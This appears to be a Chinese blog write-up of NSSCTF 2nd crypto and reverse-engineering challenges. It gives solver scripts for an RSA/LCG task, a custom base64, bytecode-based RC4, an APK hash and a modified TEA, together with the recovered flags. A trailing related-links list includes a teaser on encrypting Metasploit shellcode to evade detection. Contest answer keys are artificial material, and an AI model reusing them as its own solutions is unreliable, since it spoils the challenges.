c2 =  24086830909813702968855830967174364278115647345064163689290457852025690324300607354444884288995399344650789235347773145941872226843099538451759854505842021844881825309790171852845467221751852440178862638893185965125776165397575087879479327323737686652198357863042305078811580074617322063509435591981140533310def eeccn(e1,e2,c1,c2,n):g, x1, x2 = gcdext(e1,e2)return pow(c1,x1,n)*pow(c2,x2,n) % na = eeccn(e1,e2,c1,c2,n)
#a = 6916067937269950974206746204164509896240838110131015886297814490101615527867219160040558623231859474391279572961225727366045095864405799615600246029206211  

再用lcg的两个值求因子b

#o2 = a*o1 + b mod n 
output1 =  54997286032365904331111467760366122947903752273328087460831713533712307510311367648330090376100815622160705007873798883153287827481112070182047111994066594911019010222064952859306742931009422376955635523160546531204043294436812066746785938062292942759004837173423765427628610568097898331237064396308950601636
output2 =  115015764780168428067411132384122324817310808727138440691727747976276050930701648349452842302609389394467134068064132550313721128807222231505312226682756817617177620169804112319332815872107656884931985435898097063491690413460967856530075292289784649593915313885813931026280791070577034075346669028068003251024b = (output2 - a*output1)%n
long_to_bytes(b)
#NSSCTF{407f8832-6ffd-43bf-91a0-6900758cdff7}

REV

MyBASE

从主函数看就是个base64

void test()
{size_t v0; // [rsp+158h] [rbp+D8h] BYREFchar Str[312]; // [rsp+160h] [rbp+E0h] BYREFchar *Str2; // [rsp+298h] [rbp+218h]unsigned __int64 v3; // [rsp+2A0h] [rbp+220h]int i; // [rsp+2ACh] [rbp+22Ch]puts("Please input your flag:");scanf("%s", Str);v3 = strlen(Str);Str2 = base64_encode((__int64)Str, v3, &v0);for ( i = 0; i < v0; ++i );if ( !strcmp("YkLYv1Xj23X7N0E5eoFgUveKeos1XS8K9r4g", Str2) )printf("success!");elseprintf("error!");free(Str2);
}

然后进到base64_encode里,发现有些变化,在1的位置这3个字符取的位置跟正常的相反

第2个是在每处理完3个字符后会进行exception_handler()

 跟进后发现在这里会对base64的表进行变化,通过随机数,随机种子是上一个表的第1个字符(入口参数是字符型,所以只将第1个字符作种子)。

 有这个流程就可以逆了,总体来看不很很复杂

from pwn import u32 
from ctypes import *clibc = cdll.LoadLibrary("msvcrt.dll")enc = b'YkLYv1Xj23X7N0E5eoFgUveKeos1XS8K9r4g'
tab = b'+86420ywusqomkigecaYWUSQOMKIGECABDFHJLNPRTVXZbdfhjlnprtvxz13579/'flag = b''
for i in range(0,len(enc),4):v = [tab.index(enc[i+j]) for j in range(4)]k3 = ((v[1]&3)<<6) + v[0]k2 = ((v[2]&0xf)<<4) + (v[1]>>2)k1 = (v[3]<<2)|(v[2]>>4)flag += bytes([k1,k2,k3])#change tabseed = tab[0] #取第1个字符为种子clibc.srand(seed)ttab = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="v = [_ for _ in ttab]for j in range(63,0,-1):v3 = clibc.rand()v[v3%(j+1)],v[j] = v[j],v[v3%(j+1)]tab = bytes(v)print(flag, tab)print(flag)
#NSSCTF{Welc0me_T0_Re_World}

Bytecode

这个给的是python的字节码,手工翻译,大意是这样

from base64 import *
import string#引入函数 check,init,fun,encrypt1,encrypt2,encrypt if __name__ == '__main__':key = input('Please input your key:')if check(key) == 1:print('Right')msg = input('Please input your message:')box = init(key)encode = encrypt(msg,box)#73 62 63 fd 11 81 64 1c 52 02 f8 3e a6 2e 46 8c 47 23 12 e5 3a a7 23 50 53 69 92 9d e4 32 b6 d2 66 36 8d fd d6 44 2b 08 71 e3 08 0astring1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'string2 = 'YRiAOe4PlGvxaCoNj2ZgX+q8t/5Em6IUpM9FrVb7BKwsT1n3fSydhDWuQHJ0ckzL'encode = translate(maketrans(string1,string2), b64encode(encode.encode()))if encode == 'mWGFL24R/RSZY3pzK9H4FOmFOnXJKyCjXWbZ7Ijy11GbCBukDrjsiPPFiYB='print('Congraduation!You get the right flag!')else:print('Wrong!')print('Wrong')exit()def check(key):x = (...fake...)if len(key) != len(x):print()for i in range(len(key)):if x[i] != ord(key[i])^i:xxxdef init():s_box = range(256)j = 0for i in range(256):j = s_box[i]+j + ord(key[i%len(key)])  s_box[i],sbox[j] = s_box[j],s_box[i]return s_boxdef fun(msg):key = "Just kidding, don't take it personally!"x = []for i in range(len(msg)):x.append(ord(msg[i]) ^ ord(key[i%len(key)]))x.pop()#60 POP_TOPfor i in range(len(x)):x[i]^=idef encrypt1(msg):x = []i = 0j = 0for k in range(len(msg)):i = (i+1)%256j = (s_box[i] + j)%256s_box[i],s_box[j] = s_box[j],s_box[i]        t = (s_box[i] + s_box[j])%256x.append(s_box[t]^ord(msg[k]))return x def encrypt2():x = []i = 0j = 0for k in range(len(msg)):i = (i+1)%256j = (s_box[i] + j)%256s_box[i],s_box[j] = s_box[j],s_box[i]  t = (s_box[i] + s_box[j])%256x.append(s_box[t]^ord(msg[k]))return x def encrypt(msg):x = []i = 0j = 0for k in range(len(msg)):i = (i+1)%256j = (s_box[i] + j)%256s_box[i],s_box[j] = s_box[j],s_box[i]  t = (s_box[i] + s_box[j])%256x.append(s_box[t]^ord(msg[k]))return x 

只要翻译过来基本都能看明白了。最后有个小坑,得到的不是flag需要再作个序号+1的异或。

def init(key):s_box = list(range(256))j = 0for i in range(256):j = (s_box[i]+j + ord(key[i%len(key)]) )%256 s_box[i],s_box[j] = s_box[j],s_box[i]return s_boxkey = "Just kidding, don't take it personally!"
tk = [78, 82, 81, 64, 80, 67, 125, 83, 96, 56, 121, 84, 61, 126, 81, 79, 79, 119, 38, 120, 39, 74, 112, 38, 44, 126, 103]
key = bytes([i^v for i,v in enumerate(tk)]).decode()
box = init(key)
print(box)def encrypt(msg,s_box):x = []i = 0j = 0for k in range(len(msg)):i = (i+1)%256j = (s_box[i] + j)%256s_box[i],s_box[j] = s_box[j],s_box[i]  t = (s_box[i] + s_box[j])%256x.append(s_box[t]^msg[k])return x msg = bytes.fromhex('736263fd1181641c5202f83ea62e468c472312e53aa723505369929de432b6d266368dfdd6442b0871e3080a')
m = encrypt(msg,box)
print(bytes(m))
#b'OQPGQ@|mmk9<il9="qur8 &*,7}*~\x7f2\x11@\x13\x16\x11GB\x14\x1a\x10\x18H'
print(bytes([(i+1)^v for i,v in enumerate(m)]))
#b'NSSCTF{eda20db6-3cff-6125-f6ca-1a155bd3292c}'

MyAPK

这题有个坑,由于不会动调,结果坑里没出来。与WP对照才弄明白。

APK用jadx打开可以看到代码。只要等到时间是66.666s,按下就会得到flag,所以理所当然是把代码扒下来自己运行。但是不对。

后来才知道怎么回事。

在红箭头的位置,把一个double转整形。但这里反编译的不准确,应该是先转long再转整,不然后会有偏差。

而且结果是hash值,所以哪个都看着差不多,只有提交才提示错。

 直接拿代码编译运行即可。

class r2{public static String getit(String input) {int i;int messageLength;byte[] message;int g;int messageLength2;int f;int[] T = new int[64];for (int i2 = 0; i2 < 64; i2++) {//对Math.abs(...)*4.... 需要先转long再取intT[i2] = (int)((long)(Math.abs(Math.sin(i2 + 1)) * 4.294967296E9d));}byte[] message2 = input.getBytes();int d = message2.length;int numBlocks = ((d + 8) >>> 6) + 1;int totalLength = numBlocks << 6;byte[] paddedMessage = new byte[totalLength];System.arraycopy(message2, 0, paddedMessage, 0, d);paddedMessage[d] = Byte.MIN_VALUE;long messageBits = d * 8;int i3 = 0;while (true) {i = 8;if (i3 >= 8) {break;}paddedMessage[(totalLength - 8) + i3] = (byte) (messageBits >>> (i3 * 8));i3++;}int[] state = {-1732584194, -271733879, 271733878, 1732584193};int i4 = 0;while (i4 < numBlocks) {int[] block = new int[16];for (int j = 0; j < 16; j++) {int index = (i4 << 6) + (j << 2);block[j] = (paddedMessage[index] & 255) | ((paddedMessage[index + 1] & 255) << i) | ((paddedMessage[index + 2] & 255) << 16) | ((paddedMessage[index + 3] & 255) << 24);}int a = state[0];int b = state[1];int c = state[2];int j2 = 0;int d2 = state[3];while (j2 < 64) {if (j2 < 16) {message = message2;messageLength = d;messageLength2 = d2;f = ((~b) & messageLength2) | (b & c);g = j2;} else {message = message2;messageLength = d;messageLength2 = d2;if (j2 < 32) {f = (messageLength2 & b) | ((~messageLength2) & c);g = ((j2 * 5) + 1) % 16;} else if (j2 < 48) {f = (b ^ c) ^ messageLength2;g = ((j2 * 3) + 5) % 16;} else {f = ((~messageLength2) | b) ^ c;g = (j2 * 7) % 16;}}int temp = messageLength2;int d3 = c;c = b;b += Integer.rotateLeft(a + f + block[g] + T[j2], 7);a = temp;j2++;d2 = d3;message2 = message;d = messageLength;T = T;block = block;}int messageLength3 = d;int messageLength4 = d2;state[0] = state[0] + a;state[1] = state[1] + b;state[2] = state[2] + c;state[3] = state[3] + messageLength4;i4++;d = messageLength3;T = T;i = 8;}byte[] hash = new byte[16];for (int i5 = 0; i5 < 4; i5++) {hash[i5 * 4] = (byte) (state[i5] & 255);hash[(i5 * 4) + 1] = (byte) ((state[i5] >>> 8) & 255);hash[(i5 * 4) + 2] = (byte) ((state[i5] >>> 16) & 255);hash[(i5 * 4) + 3] = (byte) ((state[i5] >>> 24) & 255);}StringBuilder sb = new StringBuilder();for (int i6 = 0; i6 < hash.length; i6++) {sb.append(String.format("%02x", Integer.valueOf(hash[i6] & 255)));}System.out.println(sb.toString());return sb.toString();}public static void main(String[] args) {String my = "66.666s";System.out.println(getit(my));}}
//NSSCTF{1a74ee530fafa690dcddd0ce38260755}

Tea or XTtea

这个也是差一点

这是一个经过混淆的代码,不过很短手工可以恢复

int __cdecl main(int argc, const char **argv, const char **envp)
{int v3; // eaxint v4; // eaxint v5; // ecx__pid_t v6; // eaxint v7; // ecxint v8; // eaxsize_t v9; // raxint v10; // ecxint v11; // edxint v12; // esiint v13; // eaxsize_t v14; // raxint v15; // ecxint v16; // edxint v17; // esiint v18; // eaxint v19; // eaxint v20; // eaxint v21; // eaxint v23; // [rsp+ECh] [rbp-24h]int v24; // [rsp+F0h] [rbp-20h]int v25; // [rsp+F4h] [rbp-1Ch]int v26; // [rsp+F8h] [rbp-18h]int v27; // [rsp+FCh] [rbp-14h]int v28; // [rsp+100h] [rbp-10h]size_t v29; // [rsp+108h] [rbp-8h]before_main();printf(aNoOneTraceMe, argv);puts("Please input your flag:");scanf("%s", input);v29 = strlen((const char *)(unsigned int)input);v23 = 1801919288;while ( 1 ){while ( 1 ){while ( v23 == -1827964049 ){p = (__int64)&input[v28];v11 = *(_DWORD *)&input[v28];v12 = cd++;flag[v12] = v11;v23 = 1580933206;}if ( v23 != -1712856092 )break;v28 = 0;v23 = 904879898;close(dword_404138);}if ( v23 == -1700936880 )break;switch ( v23 ){case -1599979081:v19 = -1126838779;                      // 加密偶部分if ( v24 < 10 )v19 = 373420789;v23 = v19;break;case -1590649948:v13 = -864600155;if ( v27 < 10 )v13 = 601686237;v23 = v13;break;case -1371351848:p = (__int64)&input[v26];               // 写4字节到flagv16 = *(_DWORD *)&input[v26];v17 = cd++;flag[v17] = v16;v23 = 1181823979;break;case -1225256530:v27 += 2;v23 = -1590649948;break;case -1126838779:v21 = 194163193;                        // 20第3部分if ( k )v21 = 528867005;                      // 20。1v23 = v21;break;case -1116901551:v27 = 0;v23 = -1590649948;break;case -1063953602:v23 = 250224098;                        // 偶部分下一步break;case -864600155:close(fd[0]);_exit(0);case -378067225:close(dword_404138);                    // overwait(0LL);exit(0);case -166712886:v18 = 1520935878;                       // 10,加密前后部分if ( v25 < 5 )v18 = 1905508328;v23 = v18;break;case 31730073:k = 0;v23 = -1063953602;break;case 56367258:                            // 4,检查pidv8 = 2123706874;if ( !pid )v8 = -1712856092;v23 = v8;break;case 194163193:v23 = -378067225;puts("You are wrong!!!");break;case 250224098:++v24;v23 = -1599979081;                      // 偶部分++break;case 258672972:                           // 3,fork进程v6 = fork();v7 = 56367258;pid = v6;if ( v6 == -1 )v7 = 1299675875;v23 = v7;break;case 355734949:k = 0;v23 = 845159230;break;case 373420789:v20 = -1063953602;if ( flag[v24] != enc1[v24] )           // 偶部分比较v20 = 31730073;v23 = v20;break;case 528867005:v23 = -378067225;puts("You are right!!!");break;case 601686237:encode_1((unsigned int *)&flag[v27], &key2);v23 = -1225256530;break;case 845159230:                           // 2,打开管道v4 = pipe(fd);v5 = 258672972;if ( v4 == -1 )v5 = -1700936880;v23 = v5;break;case 904879898:v9 = strlen((const char *)(unsigned int)input);v10 = -1116901551;if ( v28 < v9 )v10 = -1827964049;v23 = v10;break;case 1181823979:                          // 7,+=4v26 += 4;v23 = 1775879993;break;case 1285116999:                          // 12++v25;v23 = -166712886;break;case 1299675875:exit(1);case 1520935878:                          // 21,v24 = 0;v23 = -1599979081;break;case 1580933206:v28 += 4;v23 = 904879898;break;case 1775879993:                          // 5,取长度 while循环检查v14 = strlen((const char *)(unsigned int)input);v15 = 1962670163;if ( v26 < v14 )v15 = -1371351848;v23 = v15;break;case 1801919288:                          // 长度检查 40v3 = 845159230;if ( v29 != 40 )v3 = 355734949;v23 = v3;break;case 1905508328:encode_2((unsigned int *)&flag[2 * v25], &key1);// 11,加密前部分v23 = 1285116999;break;case 1962670163:                          // jmpv25 = 0;v23 = -166712886;break;default:puts("this is father");v26 = 0;v23 = 1775879993;close(fd[0]);break;}}perror("pipe");exit(1);
}

按照运行顺序一段段理出来,应该是执行decrypt2,用key1

这个decrypto2是个魔改的Tea,已经像咖啡了

__int64 __fastcall encode_2(unsigned int *a1, unsigned int *key)
{int v2; // eax__int64 result; // raxint i; // [rsp+14h] [rbp-28h]unsigned int v5; // [rsp+1Ch] [rbp-20h]unsigned int v6; // [rsp+20h] [rbp-1Ch]unsigned int v7; // [rsp+24h] [rbp-18h]unsigned int v8; // [rsp+28h] [rbp-14h]v8 = *a1;v7 = a1[1];v6 = 0xC6EF3720;v5 = 0;for ( i = 0x97FDC462; ; i = 0x97FDC462 ){while ( 1 ){while ( i == 0x8480D1BC ){v6 -= 0x61C88647;v8 += (key[(v6 >> 2) & 4] + v6) ^ (v7 + ((v7 >> 3) ^ (16 * v7)));v7 += (key[v6 & 4] + v6) ^ (v8 + ((v8 >> 3) ^ (16 * v8)));i = 0x4E2F6F4;}if ( i != 0x97FDC462 )break;v2 = 0x304E1762;if ( v5 < 0x20 )v2 = 0x8480D1BC;i = v2;}if ( i != 0x4E2F6F4 )break;++v5;}*a1 = v8;result = v7;a1[1] = v7;return result;
}

关键问题是这个Tea一般是4组key但这里用的&4只用0和4,一直猜用的是几。其实都不对,用的就是0和4(4是个0)

from pwn import u32,p32
from ctypes import *#        v8 += (key[(v6 >> 2) & 4] + v6) ^ (v7 + ((v7 >> 3) ^ (16 * v7)));
#        v7 += (key[v6 & 4] + v6) ^ (v8 + ((v8 >> 3) ^ (16 * v8)));
def decrypt2(v, k):v0, v1 = c_uint32(v[0]), c_uint32(v[1])delta = 0x9e3779b9 #k0, k1, k2, k3 = k[0], k[1], k[2], k[3]total = c_uint32(delta * 32 + 0xC6EF3720)for i in range(32):                       #v1.value -= ((v0.value<<4) + k2) ^ (v0.value + total.value) ^ ((v0.value>>5) + k3) #v0.value -= ((v1.value<<4) + k0) ^ (v1.value + total.value) ^ ((v1.value>>5) + k1)  v1.value -= (k[(total.value)&4] + total.value)^(v0.value + ((v0.value>>3)^(v0.value<<4)))v0.value -= (k[(total.value>>2)&4] + total.value)^(v1.value + ((v1.value>>3)^(v1.value<<4)))total.value -= deltareturn v0.value, v1.value   key1 = [0x21,0x37,0x4d,0x63,0]
enc = bytes.fromhex('70641578EA8F3FA0CA83549A39A609D65B34900F200B30126A0DD03815C2F8C3C9022D84FB1ACF56')
enc = [u32(enc[i*4:i*4+4]) for i in range(10)]
#print([hex(i) for i in enc])flag = b''
for i in range(0,10,2):v0,v1 = enc[i],enc[i+1]v0,v1 = decrypt2([v0,v1], key1)flag += p32(v0)+p32(v1)print(flag)
#flag{tea_or_xtea_you_should_choose_one!}

写完睡觉,最后一个file_encrypt看了WP但没看题,就不看了。

相关文章:

[NSSCTF 2nd] NSS两周年纪念赛。

都说开卷有益&#xff0c;其实作题也有益&#xff0c;每打一次总能学到点东西。 PWN NewBottleOldWine 这个没作出来&#xff0c;一时还不明白RISC-V64怎么弄本地环境&#xff0c;不过看了WP感觉很简单&#xff0c;取flag用不着环境。 IDA不给翻译了&#xff0c;一点点看汇…...

【星戈瑞】FITC-PEG-N3在细胞示踪中的应用

​欢迎来到星戈瑞荧光stargraydye&#xff01;小编带您盘点&#xff1a; FITC-PEG-N3在细胞示踪中具有多样性应用。细胞示踪是指使用荧光标记物追踪和观察细胞在体内或体外的位置、迁移、增殖等行为。以下是FITC-PEG-N3在细胞示踪中的主要应用方面&#xff1a; 1. 细胞迁移研究…...

【Linux】【驱动】自动创建设备节点

【Linux】【驱动】自动创建设备节点 续驱动代码操作指令linux端从机端 续 这里展示了如何自动的方式去创建一个字符类的节点 下面就是需要调用到的程序 函数 void cdev_init(struct cdev *, const struct file_operations *);第一个参数 要初始化的 cdev 第二个参数 文件操作…...

自实现getprocaddress(名称查找或者序号查找)

通过名称去找 // MyGETPRCOADDRESS.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 //#include <iostream> #include<Windows.h>/*WINBASEAPI //导出不需要使用&#xff0c;那么我们注释掉*/ FARPROC WINAPI MyGetProcAddress(_In_ HMO…...

如何DIY制作干洗店洗护小程序

洗护行业正逐渐迎来线上化的浪潮&#xff0c;传统的干洗店也开始尝试将业务线上化&#xff0c;以提供更便捷的服务给消费者。而制作一款洗护小程序&#xff0c;成为了干洗店实现线上化的重要一环。今天&#xff0c;我们就来分享一下如何使用第三方制作平台制作洗护小程序的教程…...

微前沿 | 第1期:强可控视频生成;定制化样本检索器;用脑电重建视觉感知;大模型鲁棒性评测

欢迎阅读我们的新栏目——“微前沿”&#xff01; “微前沿”汇聚了微软亚洲研究院最新的创新成果与科研动态。在这里&#xff0c;你可以快速浏览研究院的亮点资讯&#xff0c;保持对前沿领域的敏锐嗅觉&#xff0c;同时也能找到先进实用的开源工具。 本期内容速览 01. 强可…...

SQLite数据库C_C++接口(保姆级API应用 1.4W字)(全网最详细介绍,学完必掌握)

目录 sqlite3的C/C API应用 前言 SQLite3库安装 API函数 打开、关闭、错误处理 打开 返回值 关闭 错误调试 实际应用 执行SQL&#xff08;DDL、DML&#xff09; API介绍 实际应用 回调函数查询 API介绍 实际应用 全缓冲查询 API介绍 实际应用 字节缓冲查询…...

倒计时:心理的镇静剂还是焦虑的火种?

倒计时&#xff1a;心理的镇静剂还是焦虑的火种&#xff1f; 目录 引言倒计时的作用与原理倒计时的双面性&#xff1a;缓解焦虑还是引发焦虑&#xff1f;如何正确使用倒计时结论 引言 在我们的日常生活和工作中&#xff0c;倒计时被广泛的应用。无论是在网购的抢购活动中&a…...

迅睿系统二开自定义函数和插件的自定义函数

全局的自定义函数&#xff1a; 全局的自定义函数文件&#xff1a;dayrui/My/Helper.php 此文件用于放网站自定义函数&#xff0c;程序会自动加载 当前站点的自定义函数文件&#xff1a;网站主目录/config/custom.php 插件的自定义函数&#xff1a; 基于App目录下的插件或模块…...

传统品牌如何通过3D虚拟数字人定制和动捕设备加速年轻化发展?

步入Z时代&#xff0c;年轻一代消费者的生活方式深受互联网技术和媒介环境影响&#xff0c;对新潮事物感兴趣&#xff0c;消费思维也相对前卫&#xff0c;品牌需要探索契合Z世代的消费观念&#xff0c;寻找新的链接拉近品牌与消费者的距离&#xff0c;而3D虚拟数字人定制可以帮…...

sql:SQL优化知识点记录(五)

&#xff08;1&#xff09;explain之例子 &#xff08;2&#xff09;索引单表优化案例 上面的功能已经实现&#xff0c;但是分析功能&#xff0c; 使用explain分析这条sql&#xff1a; 发现type为All Extra&#xff1a;有Using filesort &#xff08;文件内排序&#xff09; 这…...

1.3 Metasploit 生成SSL加密载荷

在本节中&#xff0c;我们将介绍如何通过使用Metasploit生成加密载荷&#xff0c;以隐藏网络特征。前一章节我们已经通过Metasploit生成了一段明文的ShellCode&#xff0c;但明文的网络传输存在安全隐患&#xff0c;因此本节将介绍如何通过生成SSL证书来加密ShellCode&#xff…...

redis windows 版本安装

1. 下载windows安装包并解压 如果是Linux版本可以直接到官网下载&#xff0c;自3.x起官网和微软网站就没有redis安装包更新了&#xff0c;好在github有开发者在编译发布更新&#xff08;目前最新有5.0.9版本可下&#xff09;&#xff0c;地址&#xff1a;redis windows 5版本下…...

限流算法深入

限流定义及目的 当系统流量达到系统或下游承受能力的阈值时对系统进行限流控制以防止系统或下游挂掉&#xff0c;减少影响面。 限流组成&#xff1a;阈值及限流策略。阈值是指系统单位时间接收到的请求qps总数&#xff1b;限流策略是指限流行业触发后对应的系统行为&#xff…...

java 基础知识 循环的几个题目

1、输出1~100的累加和 结果显示在屏幕&#xff0c;显示在文件res1.txt中 2、输出1-~100的偶数和 结果显示在屏幕&#xff0c;显示在文件res2.txt中 3、输出所有水仙花数&#xff1a; 100~999的数中出现个位数的立方十位数的立方百位数的立方这个数本身 4、输出由9行9列星号组成…...

Spring Boot使用LocalDateTime、LocalDate作为入参

0x0 背景 项目中使用LocalDateTime系列作为dto中时间的类型&#xff0c;但是spring收到参数后总报错&#xff0c;为了全局配置时间类型转换&#xff0c;尝试了如下3中方法。 注&#xff1a;本文基于Springboot2.0测试&#xff0c;如果无法生效可能是spring版本较低导致的。PS&…...

第七周第七天学习总结 | MySQL入门及练习学习第二天

实操练习&#xff1a; 1.创建一个名为 cesh的数据库 2.在这个数据库内 创建一个名为 xinxi 的表要求该表可以包含&#xff1a;编号&#xff0c;姓名&#xff0c;备注的信息 3.为 ceshi 表 添加数据 4.为xinxi 表的数据设置中文别名 5.查询 在 xinxi 表中编号 为2 的全部…...

【考研数学】线形代数第三章——向量 | 3)向量组秩的性质、向量空间、过渡矩阵

文章目录 引言三、向量组等价、向量组的极大线性无关组与秩3.2 向量组秩的性质 四、 n n n 维向量空间4.1 基本概念4.2 基本性质 写在最后 引言 紧接前文学习完向量组秩的基本概念后&#xff0c;继续往后学习向量的内容。 三、向量组等价、向量组的极大线性无关组与秩 3.2 向…...

【技术】SpringBoot Word 模板替换

SpringBoot Word 模板替换 什么是 Word 模板替换如何实现 Word 模板替换 什么是 Word 模板替换 模板一般是具有固定格式的内容&#xff0c;其中一部分需要替换。Word 模板通俗的讲是以 Word 的形式制作模板&#xff0c;固定格式和内容&#xff0c;然后将其中的一部分数据替换掉…...

java jni nv21和nv12互转

目录 libyuv性能比较 NV12 NV21 YUV420格式介绍 jni YUV420toYUV420SemiPlanar java YUV420toYUV420SemiPlanar java NV12toYUV420SemiPlanar jni NV12toYUV420SemiPlanar...

7.4.分块查找

一.分块查找的算法思想&#xff1a; 1.实例&#xff1a; 以上述图片的顺序表为例&#xff0c; 该顺序表的数据元素从整体来看是乱序的&#xff0c;但如果把这些数据元素分成一块一块的小区间&#xff0c; 第一个区间[0,1]索引上的数据元素都是小于等于10的&#xff0c; 第二…...

调用支付宝接口响应40004 SYSTEM_ERROR问题排查

在对接支付宝API的时候&#xff0c;遇到了一些问题&#xff0c;记录一下排查过程。 Body:{"datadigital_fincloud_generalsaas_face_certify_initialize_response":{"msg":"Business Failed","code":"40004","sub_msg…...

树莓派超全系列教程文档--(61)树莓派摄像头高级使用方法

树莓派摄像头高级使用方法 配置通过调谐文件来调整相机行为 使用多个摄像头安装 libcam 和 rpicam-apps依赖关系开发包 文章来源&#xff1a; http://raspberry.dns8844.cn/documentation 原文网址 配置 大多数用例自动工作&#xff0c;无需更改相机配置。但是&#xff0c;一…...

【大模型RAG】Docker 一键部署 Milvus 完整攻略

本文概要 Milvus 2.5 Stand-alone 版可通过 Docker 在几分钟内完成安装&#xff1b;只需暴露 19530&#xff08;gRPC&#xff09;与 9091&#xff08;HTTP/WebUI&#xff09;两个端口&#xff0c;即可让本地电脑通过 PyMilvus 或浏览器访问远程 Linux 服务器上的 Milvus。下面…...

1688商品列表API与其他数据源的对接思路

将1688商品列表API与其他数据源对接时&#xff0c;需结合业务场景设计数据流转链路&#xff0c;重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点&#xff1a; 一、核心对接场景与目标 商品数据同步 场景&#xff1a;将1688商品信息…...

AI病理诊断七剑下天山,医疗未来触手可及

一、病理诊断困局&#xff1a;刀尖上的医学艺术 1.1 金标准背后的隐痛 病理诊断被誉为"诊断的诊断"&#xff0c;医生需通过显微镜观察组织切片&#xff0c;在细胞迷宫中捕捉癌变信号。某省病理质控报告显示&#xff0c;基层医院误诊率达12%-15%&#xff0c;专家会诊…...

(一)单例模式

一、前言 单例模式属于六大创建型模式,即在软件设计过程中,主要关注创建对象的结果,并不关心创建对象的过程及细节。创建型设计模式将类对象的实例化过程进行抽象化接口设计,从而隐藏了类对象的实例是如何被创建的,封装了软件系统使用的具体对象类型。 六大创建型模式包括…...

libfmt: 现代C++的格式化工具库介绍与酷炫功能

libfmt: 现代C的格式化工具库介绍与酷炫功能 libfmt 是一个开源的C格式化库&#xff0c;提供了高效、安全的文本格式化功能&#xff0c;是C20中引入的std::format的基础实现。它比传统的printf和iostream更安全、更灵活、性能更好。 基本介绍 主要特点 类型安全&#xff1a…...

Chrome 浏览器前端与客户端双向通信实战

Chrome 前端&#xff08;即页面 JS / Web UI&#xff09;与客户端&#xff08;C 后端&#xff09;的交互机制&#xff0c;是 Chromium 架构中非常核心的一环。下面我将按常见场景&#xff0c;从通道、流程、技术栈几个角度做一套完整的分析&#xff0c;特别适合你这种在分析和改…...

LCTF液晶可调谐滤波器在多光谱相机捕捉无人机目标检测中的作用

中达瑞和自2005年成立以来&#xff0c;一直在光谱成像领域深度钻研和发展&#xff0c;始终致力于研发高性能、高可靠性的光谱成像相机&#xff0c;为科研院校提供更优的产品和服务。在《低空背景下无人机目标的光谱特征研究及目标检测应用》这篇论文中提到中达瑞和 LCTF 作为多…...